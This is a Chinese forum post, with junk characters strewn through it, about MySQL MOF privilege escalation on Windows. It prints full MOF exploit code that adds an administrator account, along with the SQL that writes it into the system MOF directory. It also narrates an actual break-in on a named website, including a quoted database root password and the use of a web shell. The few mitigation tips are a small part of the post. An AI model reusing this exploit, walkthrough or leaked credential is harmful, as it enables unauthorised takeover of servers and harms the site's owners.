Mysql mof扩展漏洞防范方法- Q' u' X( H! u3 g0 V, y, J
, G& K9 W" M6 w2 R* R, [ O
网上公开的一些利用代码:
! [. [! G( p7 G$ t6 Z: h, B
; T8 k% |- D/ q A#pragma namespace(“\\\\.\\root\\subscription”)
7 t; M: }' l: n! f* ?8 f6 c" g% n/ c b1 }
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
0 s8 d5 S" b& Q7 Z1 i- M7 L% w+ \3 ?
$ ^2 V. u1 }3 @+ Q
- T1 c; \3 u: x z! N, n" t + b, x: y" o2 O' |8 a& Y
* b' \+ n; Y" t( f连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;; a5 O. Y; N3 B0 s8 Q* _
从上面代码来看得出解决办法:0 d: n& j+ N1 p% v
& ]" B9 w% m' ` J+ N! S1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数5 b1 ^$ w1 q3 n# a, a) m8 s
. }0 _! m. V, O/ x2、禁止使用”WScript.Shel”组件
: I+ \6 f2 _( V7 Z& T5 y4 N, l
- f8 Y* Z' n* i& e2 z8 W# K3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
$ ]6 J4 P- O5 X( s
# L$ o4 _; Z# ~8 V. |# T当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下! I+ w8 p( W$ }5 E' f
' D- [9 a; M- n
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权9 u7 C9 k0 A( ?3 k( n
! R8 ]+ X2 A/ C7 a$ ^' q" m( ]但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容' \1 E" ?# o. c+ f) j" \, d
& |6 ?& W6 h' t* B( K. O# D
看懂了后就开始练手吧4 X* c; B5 a6 t
P$ Z+ O, ]$ J3 [- x1 Qhttp://www.webbmw.com/config/config_ucenter.php 一句话 a
- J0 K3 @2 q F4 [
# X! G7 t& d$ l& j7 c8 }$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
; Q2 C5 `( I. T# A& m8 @' ?
! M+ N4 S, z5 O/ `于是直接用菜刀开搞# u1 b" \/ e0 m! v- ~. ]
, T( T" x- e+ C K$ @5 s
上马先
, i8 ~& U1 g- p! N" H8 H4 h4 h: B; h$ j% a" \4 l- O7 v
既然有了那些账号 之类的 于是我们就执行吧…….1 N5 g5 C- {# p0 v9 Z$ B2 x
# a$ o. K# E2 q3 Z0 o; }. p# \小小的说下& b, ?: F& B3 u2 i8 M
1 s& k' F9 ~7 m) C) _, L# V+ s9 z
在这里第1次执行未成功 原因未知3 I0 \6 j5 U/ Y, w9 n
( s" X# x2 q& @我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
! j! o6 w3 E( q* V. K% Q9 F F- D" e8 R5 G5 \) k" [
#pragma namespace(“\\\\.\\root\\subscription”)
& d& u7 @5 A/ ^8 _
" [+ L6 o+ A! {instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
8 ]6 M! y3 J7 e3 k( ?" R8 v& @4 ?' q, z4 c; ^
我是将文件放到C:\WINDOWS\temp\1.mof
5 N$ n; H, V8 E6 c6 `0 b& {4 M4 ?# y8 U J o) S& x; C( H
所以我们就改下执行的代码
, z4 b. p5 U7 G, s+ b
6 |1 W$ V$ v% V. ?% y$ Hselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;: j ]" v4 r' U7 t! g; ? p9 Q
$ i7 ]% x1 j& k- ?( @* `
: t1 C6 V& H) }: q3 \) I
\9 Y, N1 @2 b& u. j: E* g但是 你会发现账号还是没有躺在那里。。
) W/ a0 `1 T. \: {2 p$ l
. b+ |% z/ @' V+ H; P/ [! a& f" @于是我就感觉蛋疼
, |5 q" W/ _4 e/ ]' j( W
R+ l: e! H( }就去一个一个去执行 但是执行到第2个 mysql时就成功了………
0 _* Z4 T) D1 Y1 s+ b+ d* U- z, q
# P: Z" w1 n! L Z9 ^3 V7 F. L! O+ e4 o2 D
|* L- C! v7 W% p, G# X# Q# Y! ]9 C
但是其他库均不成功…
# u/ a d! t* x5 i0 k R& `% `/ T* ~+ A3 F$ n/ Z3 p, O: V
我就很费解呀 到底为什么不成功求大牛解答…1 u! z9 G7 ~1 R/ v' {2 X! b
$ n" t8 L4 l! {. s+ h4 U
1 i9 T% W4 }1 c+ i% y5 T% t. l4 G# G# o+ [' V
|